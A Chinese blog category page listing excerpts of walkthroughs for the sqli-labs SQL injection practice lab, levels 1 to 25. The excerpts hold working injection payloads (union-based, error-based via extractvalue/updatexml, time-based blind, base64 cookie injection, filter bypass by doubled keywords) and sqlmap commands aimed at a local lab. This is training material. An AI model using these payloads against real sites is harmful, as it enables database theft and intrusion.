![](https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
sqli-labs靶场
sql注入的靶场,仅为借鉴,如有问题,希望大佬给指出
24team
趁着年轻,做点有意义的事情
展开
-
sqli-labs 第25关(过滤or和AND )
25关源码分析发现闭合点是的单引号将or和AND替换成了空格然后我们就来思路了,我们可以使用联合查询还有报错查询一、判断注入点二、判断列数发现很直观的把我们的or给过滤掉了我们试试双写三、构造payload?id=-1' union select 1,2,3--+1.爆库、?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata --+ 由于information原创 2020-12-25 17:50:05 · 1612 阅读 · 2 评论 -
sqli-labs第23关注入字符做了正则表达式的过滤(二次注入)
第二十三关sqlmap方法python sqlmap.py -u "http://127.0.0.1:8086/sqli/Less-23/?id=1" --prefix "'" --suffix ";%00" --technique U --dbs //就是简单加了个闭合和注释一、源码分析发现将#和–都进行了过滤替换,替换成了空格咱们再来看看闭合点闭合点是一个简单的单引号这样就很简单了然后我们可以将注释换成单引号来进行注释二、判断注入点我用一个特殊的字符进行替换成注释符 ;%00==#和–原创 2020-12-25 17:37:52 · 269 阅读 · 0 评论 -
sqli-labs第22关基于cookie报错注入(base64转码)
第22关基于cookie报错注入sqlmap 方法python2 sqlmap.py -r 1.txt --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0手注一、判断注入点通过源码我们可以发现,闭合点是双引号然后我们基于21关进行构造语句一、猜注入点:admin " and extractvalue(1,concat(0x7e,( 1),0x7e))# YWRtaW4gI原创 2020-12-25 17:31:11 · 467 阅读 · 0 评论 -
sqli-labs21关基于cookie报错注入(base64转码)
第21关基于cookie报错注入其实测试语句和20关差不多,但是需要转码,转成base64再带入到cookie中,然后(base64在bp中有模块)一、判断注入点没转码之前' )and extractvalue(1,concat(0x7e,( 1),0x7e))#JyApYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLCggMSksMHg3ZSkpIyA=(这里的思想是先不用闭合点,进行转码,一点一点试出来,然后报错出1的话,就是闭合点)二、爆库' )a原创 2020-12-25 17:27:37 · 538 阅读 · 1 评论 -
sqli-labs20关基于post的cookie报错注入
知识点CookieCookie指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据Cookie,有时候也用复数形式Cookies,这种是指某些网站为了辨别用户身份,简单来说就是当您输入一次网站的用户名和密码之后,下一次就可以不需要输入。服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知网站服务器两个请求是否来自同一浏览器,如保持用户的登录状态。$_COOKIE函数 作用:读取cookie信息原创 2020-12-18 21:05:04 · 315 阅读 · 1 评论 -
sqli-lab19关基于post的referer报错注入
知识点referer:http请求头里,有一个referer首部,这个首部可以告知服务端,当前的请求的来源。就是很直观的说,访问了一个页面,你来自哪里extractvalue()函数extractvalue() 函数是对XML文档进行查询的函数其实就是相当于HTML文件中用 标签查找元素一样语法:extractvalue(目标xml文档,xml路径)update是更新extractvalue是查询第十九关sqlmap方法:这里我们还是使用SQLMAP进行注入,将登录请求信息保存到1.原创 2020-12-18 19:47:42 · 423 阅读 · 1 评论 -
sqli-lab靶场18关基于post的头部信息报错注入
知识点$_SERVER['HTTP_USER_AGENT']。这是用来检查浏览页面的访问者在用什么浏览器. 其中需要检查用户的 agent 字符串,它是浏览器发送的 HTTP 请求的一部分。 如:var_dump($_SERVER['HTTP_USER_AGENT']); 输出:string(65) "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Fire通过查看源码看到,是一个insert的语句,我们通过构造updatexml原创 2020-12-18 19:43:42 · 608 阅读 · 1 评论 -
sqli-labs靶场17关(基于post的更新查询报错注入)
知识点updatexml()函数updatexml()函数与extractvalue()类似,是更新xml文档的函数。语法updatexml(目标xml文档,xml路径,更新的内容)updatexml(XML_document,XPath_string,new_value);第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:Xpath_String(Xpath格式的字符串)第三个参数:new_value,String格式,替换查找到的符合条原创 2020-12-18 19:38:14 · 712 阅读 · 1 评论 -
sqli-labs靶场15-16关(基于POST时间盲注)
第十五关sqlmap方法python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T基于时间的盲注源码分析闭合字符是单引号一、判断注入点uname=admin' and sleep(4) #&passwd=&submit=Submit原创 2020-12-12 23:57:49 · 845 阅读 · 4 评论 -
sqli-labs靶场13-14关(基于POST双查询)
sqlmap方法python2 sqlmap.py -u http://127.0.0.1/sqlilabs/Less-13/index.php?id=1 --data "uname=')or('1')=('1 &passwd=')or('1')=('1&submit=Submit" --dbs --threads 10 --batch --technique EBS第十三关源码分析可以看到闭合字符为(‘’)再查看输出的语句,可以判断出如果语句报错会输出一些东西,所以这一关是基于原创 2020-12-12 23:52:35 · 615 阅读 · 0 评论 -
sqli-labs靶场11-12关(基于POST联合查询)
1:GET2:POST3:Head4:Put5:Delete6:Connect7:Options8:Trace那么这里是典型的POST注入,那么注入点就是在POST数据中,而POST请求往往代表着用户向服务器提交了大量的数据请求,行为有包括文件上传,表单提交,按钮时间,这里分析是用户的登陆动作,那么肯定要对输入的用户名和密码带入数据库进行查询,接下来我们就把提交的用户名和密码直接替换成我们的测试语句;1:这里我们可以使用burpsuite和hackbar都可以完成测试,这里我们选择使用Bu原创 2020-12-12 23:46:48 · 586 阅读 · 0 评论 -
sqli-labs靶场9-10关(时间盲注)
知识点函数if()函数 条件判断函数if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;sleep()函数 网页延迟n秒后,输出结果left()函数 从左边数,取几个数例如:left(abcdef,3) 取3位左边的数,就是abc第九关源码分析:开搞一、判断注入点(需要用到sleep函数)?id=1')and (sleep(4)) --+ (耗时2s,这是正常的页面,没有闭合的页面)?id=1'an原创 2020-12-12 23:34:50 · 1118 阅读 · 0 评论 -
sqli-labs靶场8关(布尔盲注)
知识点函数ascii()函数 将某个字符串转化为ascii值(webRobot转换工具)ord()函数 将某个字符串转化为ascii值length()函数 返回字段/结果/函数的长度,length(column_name)length(database()) 即返回当前数据库名长度substr()函数 截取字符段长度例如:substr(abcd,1,1) 从第一位开始(也就是从a开始)截取一个字符,就是a substr(abcd,2原创 2020-12-12 23:29:41 · 2209 阅读 · 1 评论 -
sqli-labs靶场7关(知道根目录的注入)
知识点首先要掌握一下相关的函数和知识点函数:load_file()函数 是MySQL读取本地文件的函数(读取)into outfile()函数 是用来导出文件的(写入)@@basedir函数 查询当前路径@@datadir函数 查询数据库安装路径1.load_file()函数用法2.into outfile()函数用法查看一下3.查询当前路径:select @@basedir;4.查询当前MySQL路径:select @@datadir;5.解决写入权限问题在原创 2020-12-12 23:20:48 · 799 阅读 · 3 评论 -
sqli-labs靶场5-6关(双查询注入)
知识点双查询注入的知识点原理:双注入查询需要联合着MYSQL的BUG报错来进行报错注入BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分一错误形式显示出来;双查询在命令行中直观显示出来select count(*),concat((select user()),(floor(rand() * 2))) as a from information_schema.tables group by a;rand()函数 //随机函数floor(a)原创 2020-12-12 23:14:25 · 366 阅读 · 2 评论 -
sqli-labs靶场1-4关
第一关判断注入点:?id=1 回显正常?id=1’ 回显错误可以判断出是基于单引号注入然后and判断一下?id=1’ and 1=1 回显正常?id=1’ and 1=2 回显错误证明存在注入漏洞则or 相反?id=1’ or 1=2 --+ (回显正常)?id=1’ or 1=1 --+ (回显错误,证明存在注入漏洞)//(暂时没验证)然后我们判断一下列数?id=1’ order by 3 --+(没报错)?id=1’ order by 4 --+ (报错)证明列数原创 2020-12-12 23:01:32 · 251 阅读 · 0 评论